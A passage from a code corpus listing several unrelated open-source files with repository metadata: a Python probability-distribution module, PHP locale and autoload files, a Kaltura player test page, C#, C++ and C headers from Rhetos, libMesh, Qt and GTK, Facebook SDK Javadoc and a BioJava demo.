1j*np.random.randn(self.dim,self.k) rho = np.dot(z,z.conj().transpose()) rho = rho/np.trace(rho) z = np.real(np.trace(np.dot(rho,np.array([[1,0],[0,-1]])))) y = np.real(np.trace(np.dot(rho,np.array([[0,-1j],[1j,0]])))) x = np.real(np.trace(np.dot(rho,np.array([[0,1],[1,0]])))) return np.array([x,y,z]) class PostselectedDistribution(Distribution): """ Postselects a distribution based on validity within a given model. """ # TODO: rewrite LiuWestResampler in terms of this and a # new MixtureDistribution. def __init__(self, distribution, model, maxiters=100): self._dist = distribution self._model = model self._maxiters = maxiters @property def n_rvs(self): return self._dist.n_rvs def sample(self, n=1): """ Returns one or more samples from this probability distribution. :param int n: Number of samples to return. :return numpy.ndarray: An array containing samples from the distribution of shape ``(n, d)``, where ``d`` is the number of random variables. """ samples = np.empty((n, self.n_rvs)) idxs_to_sample = np.arange(n) iters = 0 while idxs_to_sample.size and iters < self._maxiters: samples[idxs_to_sample] = self._dist.sample(len(idxs_to_sample)) idxs_to_sample = idxs_to_sample[np.nonzero(np.logical_not( self._model.are_models_valid(samples[idxs_to_sample, :]) ))[0]] iters += 1 if idxs_to_sample.size: raise RuntimeError("Did not successfully postselect within {} iterations.".format(self._maxiters)) return samples def grad_log_pdf(self, x): return self._dist.grad_log_pdf(x) class InterpolatedUnivariateDistribution(Distribution): """ Samples from a single-variable distribution specified by its PDF. The samples are drawn by first drawing uniform samples over the interval ``[0, 1]``, and then using an interpolation of the inverse-CDF corresponding to the given PDF to transform these samples into the desired distribution. :param callable pdf: Vectorized single-argument function that evaluates the PDF of the desired distribution. :param float compactification_scale: Scale of the compactified coordinates used to interpolate the given PDF. :param int n_interp_points: The number of points at which to sample the given PDF. """ def __init__(self, pdf, compactification_scale=1, n_interp_points=1500): self._pdf = pdf self._xs = u.compactspace(compactification_scale, n_interp_points) self._generate_interp() def _generate_interp(self): xs = self._xs pdfs = self._pdf(xs) norm_factor = np.trapz(pdfs, xs) self._cdfs = cumtrapz(pdfs / norm_factor, xs, initial=0) self._interp_inv_cdf = interp1d(self._cdfs, xs, bounds_error=False) @property def n_rvs(self): return 1 def sample(self, n=1): return self._interp_inv_cdf(np.random.random(n))[:, np.newaxis] class ConstrainedSumDistribution(Distribution): """ Samples from an underlying distribution and then enforces that all samples must sum to some given value by normalizing each sample. :param Distribution underlying_distribution: Underlying probability distribution. :param float desired_total: Desired sum of each sample. """ def __init__(self, underlying_distribution, desired_total=1): super(ConstrainedSumDistribution, self).__init__() self._ud = underlying_distribution self.desired_total = desired_total @property def underlying_distribution(self): return self._ud @property def n_rvs(self): return self.underlying_distribution.n_rvs def sample(self, n=1): s = self.underlying_distribution.sample(n) totals = np.sum(s, axis=1)[:,np.newaxis] return self.desired_total * np.sign(totals) * s / totals
csferrie/python-qinfer
src/qinfer/distributions.py
Python
agpl-3.0
51,767
<?php // autoload_psr4.php @generated by Composer $vendorDir = dirname( dirname( __FILE__ ) ); $baseDir = dirname( $vendorDir ); return array();
KWZwickau/KREDA-Sphere
Library/MOC-V/Component/Mail/Vendor/EdenPhpMail/1.0.3-Master/vendor/composer/autoload_psr4.php
PHP
agpl-3.0
148
<?php return array( 'activated_help_text' => '该用户可以登录', 'activated_disabled_help_text' => '您无法编辑自己帐户的激活状态。', 'assets_user' => '分配给:name的资产', 'bulk_update_warn' => '您即将编辑user_count用户的属性。请注意,您不能使用此表单更改您自己的用户属性,必须单独对您自己的用户信息进行编辑。', 'bulk_update_help' => '此表单允许您一次更新多个用户。仅填写您需要更改的字段。留的空的任何字段将保持不变。', 'current_assets' => '资产当前借出给该用户', 'clone' => '克隆用户', 'contact_user' => '联系 :name', 'edit' => '编辑用户', 'filetype_info' => '允许的文件类型有: png, gif, jpg, jpeg, doc, docx, pdf, txt, zip, rar', 'history_user' => ':name的历史', 'info' => '信息', 'restore_user' => '单击此处可将其还原。', 'last_login' => '上一次登陆', 'ldap_config_text' => 'LDAP配置在 管理 > 设置。所选位置将为导入的用户所用', 'print_assigned' => '打印所有已分配资产', 'software_user' => ':name 借走的软件', 'view_user' => '查看用户: :name', 'usercsv' => 'CSV 档案', 'two_factor_admin_optin_help' => '您当前的管理员设置允许使用双重认证。 ', 'two_factor_enrolled' => '双重认证设备登记', 'two_factor_active' => '启用双重认证', );
dkmansion/snipe-it
resources/lang/zh-CN/admin/users/general.php
PHP
agpl-3.0
1,553
<!DOCTYPE HTML> <html> <head> <title>Minimal RWD</title> <script type="text/javascript" src="../../../tests/qunit/qunit-bootstrap.js"></script> <script type="text/javascript" src="../../../mwEmbedLoader.php"></script> <script type="text/javascript" src="../../../docs/js/doc-bootstrap.js"></script> <body> <br> <div id="playbackModeSelector" style="float:right"></div> <h2>Minimal RWD self contained maintain 16/9 ratio</h2> Resize the browser window and notice the player maintains 16/9 ratio.<br> <div style="width: 60%;display: inline-block;position: relative;"> <div id="dummy" style="margin-top: 56.25%;"></div> <!-- /* 16:9 aspect ratio */ --> <div id="kaltura-player1" style="position:absolute;top:0;left:0;left: 0;right: 0;bottom:0;border:solid thin black;"> </div> </div> <script> kWidget.embed({ 'targetId': 'kaltura-player1', 'wid': '_243342', 'uiconf_id' : '12868012', 'entry_id' : '1_sf5ovm7u' }); </script> <h3> Sample RWD code: </h3> <pre class="prettyprint linenums">&lt;!-- Outer div defines maximum space the player can take --&gt; &lt;div style="width: 60%;display: inline-block;position: relative;"&gt; &lt;!-- inner pusher div defines aspect ratio: in this case 16:9 ~ 56.25% --&gt; &lt;div id="dummy" style="margin-top: 56.25%;"&gt;&lt;/div&gt; &lt;!-- the player embed target, set to take up available absolute space --&gt; &lt;div id="kaltura-player1" style="position:absolute;top:0;left:0;left: 0;right: 0;bottom:0;border:solid thin black;"&gt; &lt;/div&gt; &lt;/div&gt; </pre> <div style="width: 60%;display: inline-block;position: relative;"> <h3>Example of non-hover controls correction ( bottom:-36px; )</h3> <div style="width: 100%;display: inline-block;position: relative;"> <div id="dummy" style="margin-top: 56.25%;"></div> <!-- /* 16:9 aspect ratio */ --> <div id="kaltura-player2" style="position:absolute;top:0;left:0;left: 0;right: 0;bottom:-36px;"> </div> </div> </div> <script> kWidget.embed({ 'targetId': 'kaltura-player2', 'wid': '_243342', 'uiconf_id' : '12868012', 'entry_id' : '1_sf5ovm7u', 'flashvars':{ 'controlBarContainer': { 'plugin': true, "hover": false } } }); </script> <br><br> <h3> Sample RWD code: </h3> <pre class="prettyprint linenums">&lt;!-- Outer div defines maximum space the player can take --&gt; &lt;div style="width: 60%;display: inline-block;position: relative;"&gt; &lt;!-- inner pusher div defines aspect ratio: in this case 16:9 ~ 56.25% --&gt; &lt;div id="dummy" style="margin-top: 56.25%;"&gt;&lt;/div&gt; &lt;!-- the player embed target, set to take up available absolute space --&gt; &lt;div id="kaltura-player1" style="position:absolute;top:0;left:0;left: 0;right: 0;bottom:-36px;border:solid thin black;"&gt; &lt;/div&gt; &lt;/div&gt; </pre> </body> </html>
alexedm/test-mwEmbed
modules/KalturaSupport/tests/RWDMinimal.html
HTML
agpl-3.0
2,944
/* Copyright (C) 2014 Omega software d.o.o. This file is part of Rhetos. This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Rhetos.Dom.DefaultConcepts { public class HierarchyItem { public Guid ID; public Guid? ParentID; public string Name; } }
bantolov/Rhetos
CommonConcepts/Plugins/Rhetos.Dom.DefaultConcepts/HierarchyItem.cs
C#
agpl-3.0
1,050
// The libMesh Finite Element Library. // Copyright (C) 2002-2019 Benjamin S. Kirk, John W. Peterson, Roy H. Stogner // This library is free software; you can redistribute it and/or // modify it under the terms of the GNU Lesser General Public // License as published by the Free Software Foundation; either // version 2.1 of the License, or (at your option) any later version. // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // Lesser General Public License for more details. // You should have received a copy of the GNU Lesser General Public // License along with this library; if not, write to the Free Software // Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // C++ includes // Local includes #include "libmesh/fe.h" #include "libmesh/elem.h" namespace libMesh { template <> Real FE<0,HERMITE>::shape(const ElemType, const Order, const unsigned int libmesh_dbg_var(i), const Point &) { libmesh_assert_less (i, 1); return 1.; } template <> Real FE<0,HERMITE>::shape(const Elem *, const Order, const unsigned int libmesh_dbg_var(i), const Point &) { libmesh_assert_less (i, 1); return 1.; } template <> Real FE<0,HERMITE>::shape_deriv(const ElemType, const Order, const unsigned int, const unsigned int, const Point &) { libmesh_error_msg("No spatial derivatives in 0D!"); return 0.; } template <> Real FE<0,HERMITE>::shape_deriv(const Elem *, const Order, const unsigned int, const unsigned int, const Point &) { libmesh_error_msg("No spatial derivatives in 0D!"); return 0.; } #ifdef LIBMESH_ENABLE_SECOND_DERIVATIVES template <> Real FE<0,HERMITE>::shape_second_deriv(const ElemType, const Order, const unsigned int, const unsigned int, const Point &) { libmesh_error_msg("No spatial derivatives in 0D!"); return 0.; } template <> Real FE<0,HERMITE>::shape_second_deriv(const Elem *, const Order, const unsigned int, const unsigned int, const Point &) { libmesh_error_msg("No spatial derivatives in 0D!"); return 0.; } #endif } // namespace libMesh
90jrong/libmesh
src/fe/fe_hermite_shape_0D.C
C++
lgpl-2.1
2,915
/************************************************************************** ** ** This file is part of Qt Creator ** ** Copyright (c) 2011 Nokia Corporation and/or its subsidiary(-ies). ** ** Contact: Nokia Corporation (info@qt.nokia.com) ** ** ** GNU Lesser General Public License Usage ** ** This file may be used under the terms of the GNU Lesser General Public ** License version 2.1 as published by the Free Software Foundation and ** appearing in the file LICENSE.LGPL included in the packaging of this file. ** Please review the following information to ensure the GNU Lesser General ** Public License version 2.1 requirements will be met: ** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Nokia gives you certain additional ** rights. These rights are described in the Nokia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** Other Usage ** ** Alternatively, this file may be used in accordance with the terms and ** conditions contained in a signed written agreement between you and Nokia. ** ** If you have questions regarding the use of this file, please contact ** Nokia at info@qt.nokia.com. ** **************************************************************************/ #ifndef FORMWINDOWFILE_H #define FORMWINDOWFILE_H #include <coreplugin/ifile.h> #include <QtCore/QPointer> QT_BEGIN_NAMESPACE class QDesignerFormWindowInterface; class QFile; QT_END_NAMESPACE namespace Designer { namespace Internal { class FormWindowFile : public Core::IFile { Q_OBJECT public: explicit FormWindowFile(QDesignerFormWindowInterface *form, QObject *parent = 0); // IFile virtual bool save(QString *errorString, const QString &fileName, bool autoSave); virtual QString fileName() const; virtual bool shouldAutoSave() const; virtual bool isModified() const; virtual bool isReadOnly() const; virtual bool isSaveAsAllowed() const; bool reload(QString *errorString, ReloadFlag flag, ChangeType type); virtual QString defaultPath() const; virtual QString suggestedFileName() const; virtual QString mimeType() const; virtual void rename(const QString &newName); // Internal void setSuggestedFileName(const QString &fileName); bool writeFile(const QString &fileName, QString *errorString) const; QDesignerFormWindowInterface *formWindow() const; signals: // Internal void saved(); void reload(QString *errorString, const QString &); void setDisplayName(const QString &); public slots: void setFileName(const QString &); void setShouldAutoSave(bool sad = true) { m_shouldAutoSave = sad; } private slots: void slotFormWindowRemoved(QDesignerFormWindowInterface *w); private: const QString m_mimeType; QString m_fileName; QString m_suggestedName; bool m_shouldAutoSave; // Might actually go out of scope before the IEditor due // to deleting the WidgetHost which owns it. QPointer<QDesignerFormWindowInterface> m_formWindow; }; } // namespace Internal } // namespace Designer #endif // FORMWINDOWFILE_H
pcacjr/qt-creator
src/plugins/designer/formwindowfile.h
C
lgpl-2.1
3,135
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (version 1.7.0_51) on Thu Feb 20 17:52:48 PST 2014 --> <title>Facebook.DialogListener</title> <meta name="date" content="2014-02-20"> <link rel="stylesheet" type="text/css" href="../../../stylesheet.css" title="Style"> </head> <body> <script type="text/javascript"><!-- if (location.href.indexOf('is-external=true') == -1) { parent.document.title="Facebook.DialogListener"; } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar_top"> <!-- --> </a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../index-all.html">Index</a></li> <li><a href="../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../com/facebook/android/Facebook.html" title="class in com.facebook.android"><span class="strong">Prev Class</span></a></li> <li><a href="../../../com/facebook/android/Facebook.ServiceListener.html" title="interface in com.facebook.android"><span class="strong">Next Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../index.html?com/facebook/android/Facebook.DialogListener.html" target="_top">Frames</a></li> <li><a href="Facebook.DialogListener.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li>Constr&nbsp;|&nbsp;</li> <li><a href="#method_summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li>Constr&nbsp;|&nbsp;</li> <li><a href="#method_detail">Method</a></li> </ul> </div> <a name="skip-navbar_top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <!-- ======== START OF CLASS DATA ======== --> <div class="header"> <div class="subTitle">com.facebook.android</div> <h2 title="Interface Facebook.DialogListener" class="title">Interface Facebook.DialogListener</h2> </div> <div class="contentContainer"> <div class="description"> <ul class="blockList"> <li class="blockList"> <dl> <dt>Enclosing class:</dt> <dd><a href="../../../com/facebook/android/Facebook.html" title="class in com.facebook.android">Facebook</a></dd> </dl> <hr> <br> <pre>public static interface <span class="strong">Facebook.DialogListener</span></pre> <div class="block">Callback interface for dialog requests. <p/> THIS CLASS SHOULD BE CONSIDERED DEPRECATED. <p/> All public members of this class are intentionally deprecated. New code should instead use <a href="../../../com/facebook/widget/WebDialog.html" title="class in com.facebook.widget"><code>WebDialog</code></a> <p/> Adding @Deprecated to this class causes warnings in other deprecated classes that reference this one. That is the only reason this entire class is not deprecated.</div> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- ========== METHOD SUMMARY =========== --> <ul class="blockList"> <li class="blockList"><a name="method_summary"> <!-- --> </a> <h3>Method Summary</h3> <table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation"> <caption><span>Methods</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../com/facebook/android/Facebook.DialogListener.html#onCancel()">onCancel</a></strong>()</code> <div class="block">Called when a dialog is canceled by the user.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../com/facebook/android/Facebook.DialogListener.html#onComplete(android.os.Bundle)">onComplete</a></strong>(<a href="http://d.android.com/reference/android/os/Bundle.html?is-external=true" title="class or interface in android.os">Bundle</a>&nbsp;values)</code> <div class="block">Called when a dialog completes.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../com/facebook/android/Facebook.DialogListener.html#onError(com.facebook.android.DialogError)">onError</a></strong>(<a href="../../../com/facebook/android/DialogError.html" title="class in com.facebook.android">DialogError</a>&nbsp;e)</code> <div class="block">Called when a dialog has an error.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><strong><a href="../../../com/facebook/android/Facebook.DialogListener.html#onFacebookError(com.facebook.android.FacebookError)">onFacebookError</a></strong>(<a href="../../../com/facebook/android/FacebookError.html" title="class in com.facebook.android">FacebookError</a>&nbsp;e)</code> <div class="block">Called when a Facebook responds to a dialog with an error.</div> </td> </tr> </table> </li> </ul> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ============ METHOD DETAIL ========== --> <ul class="blockList"> <li class="blockList"><a name="method_detail"> <!-- --> </a> <h3>Method Detail</h3> <a name="onComplete(android.os.Bundle)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>onComplete</h4> <pre>void&nbsp;onComplete(<a href="http://d.android.com/reference/android/os/Bundle.html?is-external=true" title="class or interface in android.os">Bundle</a>&nbsp;values)</pre> <div class="block">Called when a dialog completes. Executed by the thread that initiated the dialog.</div> <dl><dt><span class="strong">Parameters:</span></dt><dd><code>values</code> - Key-value string pairs extracted from the response.</dd></dl> </li> </ul> <a name="onFacebookError(com.facebook.android.FacebookError)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>onFacebookError</h4> <pre>void&nbsp;onFacebookError(<a href="../../../com/facebook/android/FacebookError.html" title="class in com.facebook.android">FacebookError</a>&nbsp;e)</pre> <div class="block">Called when a Facebook responds to a dialog with an error. Executed by the thread that initiated the dialog.</div> </li> </ul> <a name="onError(com.facebook.android.DialogError)"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>onError</h4> <pre>void&nbsp;onError(<a href="../../../com/facebook/android/DialogError.html" title="class in com.facebook.android">DialogError</a>&nbsp;e)</pre> <div class="block">Called when a dialog has an error. Executed by the thread that initiated the dialog.</div> </li> </ul> <a name="onCancel()"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>onCancel</h4> <pre>void&nbsp;onCancel()</pre> <div class="block">Called when a dialog is canceled by the user. Executed by the thread that initiated the dialog.</div> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- ========= END OF CLASS DATA ========= --> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar_bottom"> <!-- --> </a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../index-all.html">Index</a></li> <li><a href="../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../com/facebook/android/Facebook.html" title="class in com.facebook.android"><span class="strong">Prev Class</span></a></li> <li><a href="../../../com/facebook/android/Facebook.ServiceListener.html" title="interface in com.facebook.android"><span class="strong">Next Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../index.html?com/facebook/android/Facebook.DialogListener.html" target="_top">Frames</a></li> <li><a href="Facebook.DialogListener.html" target="_top">No Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../allclasses-noframe.html">All Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li>Constr&nbsp;|&nbsp;</li> <li><a href="#method_summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li>Constr&nbsp;|&nbsp;</li> <li><a href="#method_detail">Method</a></li> </ul> </div> <a name="skip-navbar_bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
greenaddress/WalletCordovaFdroid
plugins/it.greenaddress.cordova/facebook-android-sdk-3.7/docs/com/facebook/android/Facebook.DialogListener.html
HTML
lgpl-2.1
10,128
/* * BioJava development code * * This code may be freely distributed and modified under the * terms of the GNU Lesser General Public Licence. This should * be distributed with the code. If you do not have a copy, * see: * * http://www.gnu.org/copyleft/lesser.html * * Copyright for this code is held jointly by the individual * authors. These should be listed in @author doc comments. * * For more information on the BioJava project and its aims, * or to join the biojava-l mailing list, visit the home page * at: * * http://www.biojava.org/ * */ package demo; import org.biojava.nbio.structure.Structure; import org.biojava.nbio.structure.align.util.AtomCache; import org.biojava.nbio.structure.domain.LocalProteinDomainParser; import org.biojava.nbio.structure.domain.pdp.Domain; import org.biojava.nbio.structure.domain.pdp.Segment; import org.biojava.nbio.structure.io.FileParsingParameters; import java.util.List; public class DemoDomainsplit { public static void main(String[] args){ DemoDomainsplit split = new DemoDomainsplit(); //String pdbId = "3gly"; String pdbId = "4hhb"; split.basicLoad(pdbId); } public void basicLoad(String pdbId){ try { // This utility class can automatically download missing PDB files. AtomCache cache = new AtomCache(); // // configure the parameters of file parsing (optional) FileParsingParameters params = new FileParsingParameters(); // should the ATOM and SEQRES residues be aligned when creating the internal data model? params.setAlignSeqRes(true); params.setLoadChemCompInfo(true); // should secondary structure get parsed from the file params.setParseSecStruc(false); // and set the params in the cache. cache.setFileParsingParams(params); // end of optional part Structure struc = cache.getStructure(pdbId); System.out.println("structure loaded: " + struc); List<Domain> domains = LocalProteinDomainParser.suggestDomains(struc); System.out.println("RESULTS: ====="); for ( Domain dom : domains){ System.out.println("DOMAIN:" + dom.getSize() + " " + dom.getScore()); List<Segment> segments = dom.getSegments(); for ( Segment s : segments){ System.out.println(" Segment: " + s); } } } catch (Exception e){ e.printStackTrace(); } } }
paolopavan/biojava
biojava-structure/src/main/java/demo/DemoDomainsplit.java
Java
lgpl-2.1
2,371
/**************************************************************************** ** ** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** ** This file is part of the Qt Designer of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL$ ** GNU Lesser General Public License Usage ** This file may be used under the terms of the GNU Lesser General Public ** License version 2.1 as published by the Free Software Foundation and ** appearing in the file LICENSE.LGPL included in the packaging of this ** file. Please review the following information to ensure the GNU Lesser ** General Public License version 2.1 requirements will be met: ** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** In addition, as a special exception, Nokia gives you certain additional ** rights. These rights are described in the Nokia Qt LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU General ** Public License version 3.0 as published by the Free Software Foundation ** and appearing in the file LICENSE.GPL included in the packaging of this ** file. Please review the following information to ensure the GNU General ** Public License version 3.0 requirements will be met: ** http://www.gnu.org/copyleft/gpl.html. ** ** Other Usage ** Alternatively, this file may be used in accordance with the terms and ** conditions contained in a signed written agreement between you and Nokia. ** ** ** ** ** ** $QT_END_LICENSE$ ** ****************************************************************************/ // // W A R N I N G // ------------- // // This file is not part of the Qt API. It exists for the convenience // of Qt Designer. This header // file may change from version to version without notice, or even be removed. // // We mean it. // #ifndef ABSTRACTDIALOGGUI_H #define ABSTRACTDIALOGGUI_H #include <QtDesigner/sdk_global.h> #include <QtGui/QMessageBox> #include <QtGui/QFileDialog> QT_BEGIN_HEADER QT_BEGIN_NAMESPACE class QWidget; class QDESIGNER_SDK_EXPORT QDesignerDialogGuiInterface { Q_DISABLE_COPY(QDesignerDialogGuiInterface) public: QDesignerDialogGuiInterface(); virtual ~QDesignerDialogGuiInterface(); enum Message { FormLoadFailureMessage, UiVersionMismatchMessage, ResourceLoadFailureMessage, TopLevelSpacerMessage, PropertyEditorMessage, SignalSlotEditorMessage, FormEditorMessage, PreviewFailureMessage, PromotionErrorMessage, ResourceEditorMessage, ScriptDialogMessage, SignalSlotDialogMessage, OtherMessage, FileChangedMessage }; virtual QMessageBox::StandardButton message(QWidget *parent, Message context, QMessageBox::Icon icon, const QString &title, const QString &text, QMessageBox::StandardButtons buttons = QMessageBox::Ok, QMessageBox::StandardButton defaultButton = QMessageBox::NoButton) = 0; virtual QMessageBox::StandardButton message(QWidget *parent, Message context, QMessageBox::Icon icon, const QString &title, const QString &text, const QString &informativeText, QMessageBox::StandardButtons buttons = QMessageBox::Ok, QMessageBox::StandardButton defaultButton = QMessageBox::NoButton) = 0; virtual QMessageBox::StandardButton message(QWidget *parent, Message context, QMessageBox::Icon icon, const QString &title, const QString &text, const QString &informativeText, const QString &detailedText, QMessageBox::StandardButtons buttons = QMessageBox::Ok, QMessageBox::StandardButton defaultButton = QMessageBox::NoButton) = 0; virtual QString getExistingDirectory(QWidget *parent = 0, const QString &caption = QString(), const QString &dir = QString(), QFileDialog::Options options = QFileDialog::ShowDirsOnly)= 0; virtual QString getOpenFileName(QWidget *parent = 0, const QString &caption = QString(), const QString &dir = QString(), const QString &filter = QString(), QString *selectedFilter = 0, QFileDialog::Options options = 0)= 0; virtual QString getOpenImageFileName(QWidget *parent = 0, const QString &caption = QString(), const QString &dir = QString(), const QString &filter = QString(), QString *selectedFilter = 0, QFileDialog::Options options = 0); virtual QStringList getOpenFileNames(QWidget *parent = 0, const QString &caption = QString(), const QString &dir = QString(), const QString &filter = QString(), QString *selectedFilter = 0, QFileDialog::Options options = 0)= 0; virtual QStringList getOpenImageFileNames(QWidget *parent = 0, const QString &caption = QString(), const QString &dir = QString(), const QString &filter = QString(), QString *selectedFilter = 0, QFileDialog::Options options = 0); virtual QString getSaveFileName(QWidget *parent = 0, const QString &caption = QString(), const QString &dir = QString(), const QString &filter = QString(), QString *selectedFilter = 0, QFileDialog::Options options = 0)= 0; }; QT_END_NAMESPACE QT_END_HEADER #endif // ABSTRACTDIALOGGUI_H
kobolabs/qt-everywhere-4.8.0
tools/designer/src/lib/sdk/abstractdialoggui_p.h
C
lgpl-2.1
5,241
/* GTK - The GIMP Toolkit * Copyright (C) 2000 Red Hat, Inc. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the * Free Software Foundation, Inc., 59 Temple Place - Suite 330, * Boston, MA 02111-1307, USA. */ /* * Modified by the GTK+ Team and others 1997-2003. See the AUTHORS * file for a list of people on the GTK+ Team. See the ChangeLog * files for a list of changes. These files are distributed with * GTK+ at ftp://ftp.gtk.org/pub/gtk/. */ #if defined(GTK_DISABLE_SINGLE_INCLUDES) && !defined (__GTK_H_INSIDE__) && !defined (GTK_COMPILATION) #error "Only <gtk/gtk.h> can be included directly." #endif #ifndef __GTK_MESSAGE_DIALOG_H__ #define __GTK_MESSAGE_DIALOG_H__ #include <gtk/gtkdialog.h> G_BEGIN_DECLS typedef enum { GTK_MESSAGE_INFO, GTK_MESSAGE_WARNING, GTK_MESSAGE_QUESTION, GTK_MESSAGE_ERROR, GTK_MESSAGE_OTHER } GtkMessageType; typedef enum { GTK_BUTTONS_NONE, GTK_BUTTONS_OK, GTK_BUTTONS_CLOSE, GTK_BUTTONS_CANCEL, GTK_BUTTONS_YES_NO, GTK_BUTTONS_OK_CANCEL } GtkButtonsType; #define GTK_TYPE_MESSAGE_DIALOG (gtk_message_dialog_get_type ()) #define GTK_MESSAGE_DIALOG(obj) (G_TYPE_CHECK_INSTANCE_CAST ((obj), GTK_TYPE_MESSAGE_DIALOG, GtkMessageDialog)) #define GTK_MESSAGE_DIALOG_CLASS(klass) (G_TYPE_CHECK_CLASS_CAST ((klass), GTK_TYPE_MESSAGE_DIALOG, GtkMessageDialogClass)) #define GTK_IS_MESSAGE_DIALOG(obj) (G_TYPE_CHECK_INSTANCE_TYPE ((obj), GTK_TYPE_MESSAGE_DIALOG)) #define GTK_IS_MESSAGE_DIALOG_CLASS(klass) (G_TYPE_CHECK_CLASS_TYPE ((klass), GTK_TYPE_MESSAGE_DIALOG)) #define GTK_MESSAGE_DIALOG_GET_CLASS(obj) (G_TYPE_INSTANCE_GET_CLASS ((obj), GTK_TYPE_MESSAGE_DIALOG, GtkMessageDialogClass)) typedef struct _GtkMessageDialog GtkMessageDialog; typedef struct _GtkMessageDialogClass GtkMessageDialogClass; struct _GtkMessageDialog { /*< private >*/ GtkDialog parent_instance; GtkWidget *GSEAL (image); GtkWidget *GSEAL (label); }; struct _GtkMessageDialogClass { GtkDialogClass parent_class; /* Padding for future expansion */ void (*_gtk_reserved1) (void); void (*_gtk_reserved2) (void); void (*_gtk_reserved3) (void); void (*_gtk_reserved4) (void); }; GType gtk_message_dialog_get_type (void) 